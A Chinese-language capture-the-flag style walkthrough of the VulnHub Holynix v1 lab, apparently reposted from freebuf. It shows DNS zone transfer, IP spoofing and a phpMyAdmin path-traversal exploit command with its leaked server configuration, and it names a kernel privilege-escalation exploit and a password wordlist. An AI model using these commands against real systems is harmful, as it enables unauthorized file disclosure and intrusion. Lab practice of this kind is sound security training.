下载地址
https://download.vulnhub.com/holynix/holynix-v1.tar.bz2
实战演练
这个靶机ISO加载之后,发现扫不了IP,需要修改了一下MAC地址
信息收集
发现靶机的IP是192.168.188

没有扫到有用信息
注入GG
在首页看到有提示到两个DNS服务器的地址,还有53端口开启,我们来看看这个端口有什么信息

这里面涉及到DNS区域传送
我们将kali的IP地址修改为192.168.1.89



mta.zincftp.com. 38400 IN A 10.0.192.48
trusted.zincftp.com. 38400 IN A 192.168.1.34
trusted好像是一个可信的区域,我们修改成这个IP,重新扫描web服务器试试
扫描出phpmyadmin



一些邮箱信息

根据更改日志,它运行的是2.6.4版本,这是一个非常旧版本的phpMyAdmin。
我们搜搜有没有这个版本的漏洞


root@kali:/usr/share/exploitdb/exploits/php/webapps# perl 1244.pl http://zincftp.com /phpMyAdmin/ ../../../../../etc/apache2/sites-enabled/000-default | head -n 50
ATTACK HOST IS: http://zincftp.com
HTTP/1.1 200 OK
Date: Sat, 02 Mar 2019 19:46:06 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Connection: close
Content-Type: text/html
NameVirtualHost *
<VirtualHost *>
DocumentRoot /var/www/htdocs/
ServerName www.zincftp.com
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/htdocs/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
<Directory "/var/www/htdocs/phpMyAdmin/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
Allow from 192.168.1.34
</Directory>
<Directory "/var/www/htdocs/setup_guides/">
Options Indexes FollowSymLinks MultiViews
AllowOverride all
Order Deny,Allow
Deny from all
Allow from 127.0.0.1
Allow from 192.168.1.34
</Directory>
ServerSignature On
</VirtualHost>
<VirtualHost *>
DocumentRoot /home/lsanderson/web/
ServerName lsanderson.zincftp.com
找到这个<Directory “/var/www/htdocs/setup_guides/”>
添加用户指南

update /etc/pure-ftpd/pureftpd.passwd file
继续使用poc查看FTP密码

http://www.mediafire.com/file/lurtcr5e48ybbkb/10_million_password_list_top_1000000.txt.gz



Linux Kernel 2.6.17 <= 2.6.24.1 – ‘vmsplice’ 5092.c
下载poc到靶机哪里

来源:freebuf.com 2019-03-02 23:26:22 by: 陌度










